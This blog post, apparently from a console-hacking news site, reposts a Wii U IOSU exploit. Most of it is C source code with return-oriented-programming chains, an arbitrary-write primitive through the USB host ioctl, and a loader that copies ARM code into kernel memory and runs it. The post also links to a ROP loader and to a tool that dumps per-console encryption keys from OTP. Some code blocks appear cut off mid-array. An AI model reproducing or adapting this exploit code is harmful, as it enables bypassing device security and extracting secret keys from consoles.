Home / News / Wii-U IOSU Kernel exploit demonstrations

Wii-U IOSU Kernel exploit demonstrations

Most of you have heard about another Wii-U IOSU Kexploit for current FW and you may have even seen other posts mentioning it too. Well, two interesting posts have popped up on GBATEMP out of nowhere and both show promise for Wii U.

The first one is an ROP from within IOS_USB (FW5.5.1). Below is an implementation of the userland IOSU exploit that’s on a wiki. It demonstrates a simple ROP chain which will call the shutdown syscall from within IOS_USB and restart your console. (5.5.1 only.) I’m posting this here in the hope that someone might build on this and get privileged execution on the ARM, perhaps by implementing the IOS_CreateThread exploit that is detailed on the wiki and then shares it publicly.

Here's IOSU kernel code execution (using the IOS_CreateThread vector which is described on wiiubrew):

#include <string.h>
#include <stdarg.h>
#include <stdlib.h>
#include <malloc.h>
#include <unistd.h>
#include "dynamic_libs/os_functions.h"
#include "dynamic_libs/fs_functions.h"
#include "dynamic_libs/gx2_functions.h"
#include "dynamic_libs/sys_functions.h"
#include "dynamic_libs/vpad_functions.h"
#include "dynamic_libs/padscore_functions.h"
#include "dynamic_libs/socket_functions.h"
#include "dynamic_libs/ax_functions.h"
#include "fs/fs_utils.h"
#include "fs/sd_fat_devoptab.h"
#include "system/memory.h"
#include "utils/logger.h"
#include "utils/utils.h"
#include "common/common.h"
#include "main.h"

int dev_uhs_0_handle;

/* YOUR ARM CODE HERE (starts at 0x08122500) */
int execute_me[] = {
    0xE3A00000,       // MOV R0, #0
    0xE12FFF1E,       // BX LR

#define CHAIN_START         0x1016AD40
#define SHUTDOWN         0x1012EE4C
#define SIMPLE_RETURN      0x101014E4
#define SOURCE            (0x120000)

/* ROP CHAIN STARTS HERE (0x1015BD78) */
int final_chain[] = {
    0x101236f3,        // 0x00     POP {R1-R7,PC}
    0x0,               // 0x04     arg
    0x0812974C,        // 0x08     stackptr     CMP R3, #1; STREQ R1, [R12]; BX LR
    0x68,              // 0x0C     stacksize
    0x10101638,        // 0x10
    0x0,               // 0x14
    0x0,               // 0x18
    0x0,               // 0x1C
    0x1010388C,        // 0x20     CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
    0x0,               // 0x24
    0x0,               // 0x28
    0x1012CFEC,        // 0x2C     MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x30
    0x0,               // 0x34
    IOS_CREATETHREAD,  // 0x38
    0x1,               // 0x3C
    0x2,               // 0x40
    0x10123a9f,        // 0x44     POP {R0,R1,R4,PC}
    0x0812A314,        // 0x48     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xEE030F10,        // 0x4C     value: MCR    P15, #0, R0, C3, C0, #0 (set dacr to R0)
    0x0,               // 0x50
    0x10123a8b,        // 0x54     POP {R3,R4,PC}
    0x1,               // 0x58     R3 must be 1 for the arbitrary write
    0x0,               // 0x5C
    0x1010CD18,        // 0x60     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x64
    0x0,               // 0x68
    0x1012EE64,        // 0x6C     set_panic_behavior (arbitrary write)
    0x0,               // 0x70
    0x0,               // 0x74
    0x10123a9f,        // 0x78     POP {R0,R1,R4,PC}
    0x0812A314 + 0x4,  // 0x7C     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xE1A0D001,        // 0x80     value: MOV SP, R1
    0x0,               // 0x84
    0x10123a8b,        // 0x88     POP {R3,R4,PC}
    0x1,               // 0x8C     R3 must be 1 for the arbitrary write
    0x0,               // 0x90
    0x1010CD18,        // 0x94     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0x98
    0x0,               // 0x9C
    0x1012EE64,        // 0xA0     set_panic_behavior (arbitrary write)
    0x0,               // 0xA4
    0x0,               // 0xA8
    0x10123a9f,        // 0xAC     POP {R0,R1,R4,PC}
    0x0812A314 + 0x8,  // 0xB0     address: the beginning of syscall_0x1a (IOS_GetUpTime64)
    0xE8BD800F,        // 0xB4     value: LDMFD SP!, {R0-R3,PC}
    0x0,               // 0xB8
    0x10123a8b,        // 0xBC     POP {R3,R4,PC}
    0x1,               // 0xC0     R3 must be 1 for the arbitrary write
    0x0,               // 0xC4
    0x1010CD18,        // 0xC8     MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,               // 0xCC
    0x0,               // 0xD0
    0x1012EE64,        // 0xD4     set_panic_behavior (arbitrary write)
    0x0,               // 0xD8
    0x0,               // 0xDC
    0x10123a9f,        // 0xE0     POP {R0,R1,R4,PC}
    0xFFFFFFFF,        // 0xE4     enable read/write everywhere
    0x1015BD78 + 0xF4, // 0xE8     location of privileged stack
    0x0,               // 0xEC
    0x1012EB8C,        // 0xF0     IOS_GetUpTime64 (privileged stack pivot) (ends in LDMFD SP!, {R0-R3,PC})
    0x08122500,        // 0xF4     destination
    0x00140000,        // 0xF8     source
    sizeof(execute_me),// 0xFC     length
    0x0,               // 0x100
    0x08131AE4,        // 0x104    BL KERNEL_MEMCPY; MOV R0, R4; ADD SP, SP, #8; LDMFD SP!, {R4-R8,PC}
    0x0,               // 0x108
    0x0,               // 0x10C
    0xFFFFDC48,        // 0x110    Will be the LR: shutdown syscall
    0x0,               // 0x114
    0x0,               // 0x118
    0x0,               // 0x11C
    0x0,               // 0x120
    0x0812A124,        // 0x124    MOV LR, R4; MOV R0, LR; LDMFD SP!, {R4,PC}
    0x0,               // 0x128  
    0x08122500,        // 0x12C    Jump to code!

int second_chain[] = {
    0x10123a9f, // 0x00         POP {R0,R1,R4,PC}
    CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000,     // 0x04         destination
    0x0,        // 0x08      
    0x0,        // 0x0C      
    0x101063db, // 0x10         POP {R1,R2,R5,PC}
    0x00130000, // 0x14         source
    sizeof(final_chain),          // 0x18         length
    0x0,        // 0x1C      
    0x10106D4C, // 0x20         BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
    0x0,        // 0x24      
    0x0,        // 0x28      
    0x101236f3, // 0x2C         POP {R1-R7,PC}
    0x0,        // 0x30         arg
    0x101001DC, // 0x34         stackptr
    0x68,       // 0x38         stacksize
    0x10101634, // 0x3C         proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
    0x0,        // 0x40
    0x0,        // 0x44
    0x0,        // 0x48
    0x1010388C, // 0x4C         CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
    0x0,        // 0x50
    0x0,        // 0x54
    0x1012CFEC, // 0x58         MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
    0x0,        // 0x5C
    0x0,        // 0x60
    0x1,        // 0x68         priority
    0x2,        // 0x6C         flags
    0x0,        // 0x70
    0x0,        // 0x74
    0x101063db, // 0x78         POP {R1,R2,R5,PC}
    0x0,        // 0x7C      
    -(0x240 + 0xF000), // 0x80  stack offset
    0x0,        // 0x84      
    0x1011D424, // 0x88         LDMFD SP!, {R4-R11,PC}
    0x0,        // 0x8C      
    0x0,        // 0x90      
    0x0,        // 0x94      
    0x0,        // 0x98      
    0x0,        // 0x9C      
    0x0,        // 0xA0      
    0x0,        // 0xA4      
    0x4,        // 0xA8         R11 must equal 4 in order to pivot the stack
    0x1012EA68, // 0xAC         stack pivot

int Menu_Main(void) {
    InitOSFunctionPointers();                  //! Init coreinit functions adresses
    dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0);   //! Open /dev/uhs/0 IOS node
    uhs_exploit_init();                        //! Init variables for the exploit

                                              //!------ROP CHAIN-------
    uhs_write32(CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
    uhs_write32(CHAIN_START + 0x10, 0x1011814C);
    uhs_write32(CHAIN_START + 0xC, SOURCE);

    uhs_write32(CHAIN_START, 0x1012392b); // pop {R4-R6,PC}

    IOS_Close(dev_uhs_0_handle);               //! Close /dev/uhs/0 IOS node
    return EXIT_SUCCESS;                     //! Exit from HBL

//!------Variables used in exploit------
int *pretend_root_hub = (int*)0xF5003ABC;
int *ayylmao = (int*)0xF4500000;

void uhs_exploit_init() {
    ayylmao[5] = 1;
    ayylmao[8] = 0x500000;

    memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain));
    memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain));
    memcpy((char*)(0xF4140000), execute_me, sizeof(execute_me));

    pretend_root_hub[33] = 0x500000;
    pretend_root_hub[78] = 0;

    DCFlushRange(pretend_root_hub + 33, 200);      //! |Make CPU fetch new data (with updated vals)
    DCInvalidateRange(pretend_root_hub + 33, 200);   //! |for "pretend_root_hub"

    DCFlushRange((void*)0xF4120000, sizeof(second_chain));      //! |Make CPU fetch new data (with updated vals)
    DCInvalidateRange((void*)0xF4120000, sizeof(second_chain));   //! |for second chain inside MEM1
    DCFlushRange((void*)0xF4130000, sizeof(final_chain));      //! |Make CPU fetch new data (with updated vals)
    DCInvalidateRange((void*)0xF4130000, sizeof(final_chain));   //! |for final chain inside MEM1
    DCFlushRange((void*)0xF4140000, sizeof(execute_me));      //! |Make CPU fetch new data (with updated vals)
    DCInvalidateRange((void*)0xF4140000, sizeof(execute_me));   //! |for final chain inside MEM1

int uhs_write32(int arm_addr, int val) {
    ayylmao[520] = arm_addr - 24;                  //!  The address to be overwritten, minus 24 bytes
    DCFlushRange(ayylmao, 521 * 4);                //! |Make CPU fetch new data (with updated adress)
    DCInvalidateRange(ayylmao, 521 * 4);           //! |for "ayylmao"
    OSSleepTicks(0x200000);                        //!  Improves stability
    int request_buffer[] = { -(0xBEA2C), val };      //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
    int output_buffer[32];
    return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
Put your code into execute_me and it'll execute. You have about 0x5D0 bytes of space. The above code will simply shut your console down as a demonstration.

However, the code here isn’t at the stage we want it at; the ROP chain runs unprivileged inside IOS-USB. This code is for developers who would like to try getting privileged execution on the ARM, possibly using the IOS_CreateThread exploit on wiiubrew.

There has been some more progress. I’m attaching a .zip archive which contains a new version of the ROP chain loader. Merge it into dimok’s hello world project in order to build it. This new version is much easier to use than the first one. You simply copy in your ROP chain (up to about 0xF000 bytes), make, and run.

Download: ios-usb_rop.zip


The other one is OTP access using the IOSU kernel, which can read out console-specific encryption data that has NAND keys, the Ancast key, the common key, and others. I was told it’s a little unstable and may take a few tries to execute but it does work.wiiu-iosu

Download: IOSU OTP

Source code: iosu_otp2screen.zip

The readout contains encryption keys, which can be used for decryption of course, as well as some other unique per-console data. However, this proves that IOSU kernel access has been achieved and something is being done with it. Since we now have OTP and ROP it might be time to dust off your Wii-U and get ready for some fun with your Wii-U again.




About hackinformer

I like to get everyone the right info and I like to help others get the most from there electronic devices. I enjoy playful cleverness and the exploration of technology. My Motto: You own it, you can do whatever you want with it.

Leave a Reply

Your email address will not be published. Required fields are marked *